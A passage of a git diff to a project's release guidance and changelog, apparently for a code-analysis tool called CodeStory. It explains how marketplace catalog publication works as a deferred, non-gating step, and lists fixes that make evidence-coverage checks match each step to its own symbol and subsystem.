qualification run later + against the frozen candidate. - Validate release changes with `python .github/scripts/check-codestory-release.py --version ` and `node .github/scripts/check-workflow-policy.mjs`. @@ -237,14 +304,50 @@ adapter to compensate for incorrect upstream state. hardware, post-publish, installed-runtime, and live behavior evidence for the claims being shipped. A merge, tag, or downloadable archive alone is not release completion. -- The release workflow owns marketplace publication. Its `marketplace-publish` - job points `TheGreenCedar/AgentPluginMarketplace` at the published commit - after the release exists, and post-publish smoke proves that catalog. Do not - hand-edit the catalog before a release; preflight proves the install path - against a candidate-pinned fixture and no longer requires the live catalog to - match an unreleased commit. If the catalog push fails, the release is still - complete and the catalog still serves the previous release: recover with the - `marketplace-sync` workflow rather than editing by hand. +- Both release lanes own marketplace publication. The `marketplace-publish` job + in `release.yml` and in `plugin-release.yml` points + `TheGreenCedar/AgentPluginMarketplace` at the published commit after the + release exists. Do not hand-edit the catalog before a release; preflight proves + the install path against a candidate-pinned fixture and no longer requires the + live catalog to match an unreleased commit. +- Catalog publication is delivery, not a release gate. It runs after an + irreversible tag, so a missing credential or a rejected push must not fail the + release; `release-claims.json` records that with + `workflow_policy.catalog_delivery.release_gate: false`. The job absorbs its own + failure and records one of two explicit states, and post-publish smoke runs + either way: `published` resolves the live catalog, `deferred` resolves a catalog + pinned to the released commit and stamps the distinct installer identity + `codex_marketplace_deferred_fixture` into the release ledger. A release may say + the catalog was updated only when the push actually landed; the honest outcome + otherwise is "released, catalog sync deferred". +- The two states are distinct **end to end**, not just in a log line. Each has its + own installer identity, its own `marketplace.repository` in the install + attestation (`local:candidate-pinned-marketplace-fixture` for a fixture), and + its own accepted shape in `marketplace_installation.py` — the resolver reports a + local source, a marketplace root outside the Codex home, and no pinned `ref`, + which the live shape cannot describe and must never be relaxed to admit. A + deferred install must resolve a catalog carrying the + `.codestory-marketplace-fixture.json` marker naming the exact released commit, + so an arbitrary local git directory cannot pass for one. The three names live in + `.github/scripts/marketplace-delivery-identity.mjs`; add a state there, in the + Python predicate, and in `release-claims.json` together or not at all. +- The closeout *reads* the mark. `workflow_policy.catalog_delivery.installed_cell_group` + names the post-publish cells whose signed `installer` identity resolves the + state, and `ledger.json`/`summary.json` carry `catalog_delivery`. Every one of + those cells must agree on one declared identity; an undeclared installer or a + disagreement between targets rejects the closeout rather than passing quietly. +- `marketplace-sync.yml` is the recovery path for a deferred catalog. Re-run it + with the published version and commit rather than editing the catalog by hand; + it is idempotent, so re-running it against an already-synced catalog succeeds + without pushing. It mints its token from the same `MARKETPLACE_APP_ID` / + `MARKETPLACE_APP_PRIVATE_KEY` in the same `marketplace-publish` environment the + release lanes use, so it recovers a push that was **rejected**, not a + credential that does not exist. While those secrets are absent every release + defers and re-running the sync defers too: the exit is to provision the + credential first. That is deliberate — the alternative is a second, unscoped + way to write another repository — but it means "deferred" persists until + someone with repository-settings access acts, and the ledger says so rather + than implying a one-click fix. - For a local plugin-source change Codex must observe outside a release, refresh the installed package and verify the managed runtime path/version plus project-scoped status. CodeStory repository state alone does not update an diff --git a/CHANGELOG.md b/CHANGELOG.md index da1822c68..4d3f8db2e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,97 @@ ## Unreleased -## 0.16.2 +### Fixed + +- A packet no longer reports a step of a flow as covered because a different + step was. Coverage was decided by the kind of position a step occupies — + entrypoint, dispatch, terminal boundary — so when a question asked about two + steps of the same kind, evidence for one closed both, and an answer that only + used the right words could close either. Each step now has to be backed by + evidence for that step. Asking about an HTTP client that runs interceptors + before dispatching a request, for instance, no longer counts as answered when + the interceptor owner was never found. +- A packet only repeats back the claims it proved. Claims the same packet + reported as unproven — an unsupported sentence, evidence it had already ruled + diagnostic, or prose that points at a file without explaining it — were still + published as covered, and the files behind them were listed as not worth + opening. Both lists now come from proven claims; the coverage report still + names every dropped claim and why. +- Naming an exact file in a question holds the answer to that file. Only + architecture questions did; every other kind could answer around a requested + path and still report itself complete. Each unproven path is now reported on + its own, with its own follow-up, for every kind of question. +- Evidence for a step now has to come from the part of the codebase that step is + about. A step was matched by looking for a word anywhere inside a symbol's + name, so a symbol could close a step it had nothing to do with whenever its + letters happened to line up — a command-line parser error standing in for a + formatter's failure path, or a page-layout helper standing in for a form's + input constraints, because "adminPanel" contains "min". Words are now matched + whole, and a step also checks that the symbol belongs to the subsystem in + question, so unrelated results no longer make a packet look complete. +- The file a result sits in no longer decides which step it proves. Half of the + steps were matched by asking what kind of result something was, and that + question is largely answered by the file's path — so everything under a folder + called `views`, `runtime`, `store` or `flags` proved whichever step named that + kind, whatever the result actually was. A chart renderer stood in for a web + server's entrypoint and a cache deletion stood in for an indexer storing + symbols. A result now has to say what it is by its own name. The path is used + only to take a step away, never to hand one out — with one stated exception, + below. +- The exception is a file that *is* the evidence: a stylesheet, an HTML + document, and a `.sql` schema. Their anchors are selectors, attributes and + statements with no symbol name to read, so there the file still says what the + result is about. It is one exception and it covers those three file kinds — + `.html`, `.htm` and `.xhtml` for the document — and nothing else. +- A single-file component is read as a script, not as a document. `.vue` and + `.svelte` files were treated as markup, but CodeStory only ever reads their + `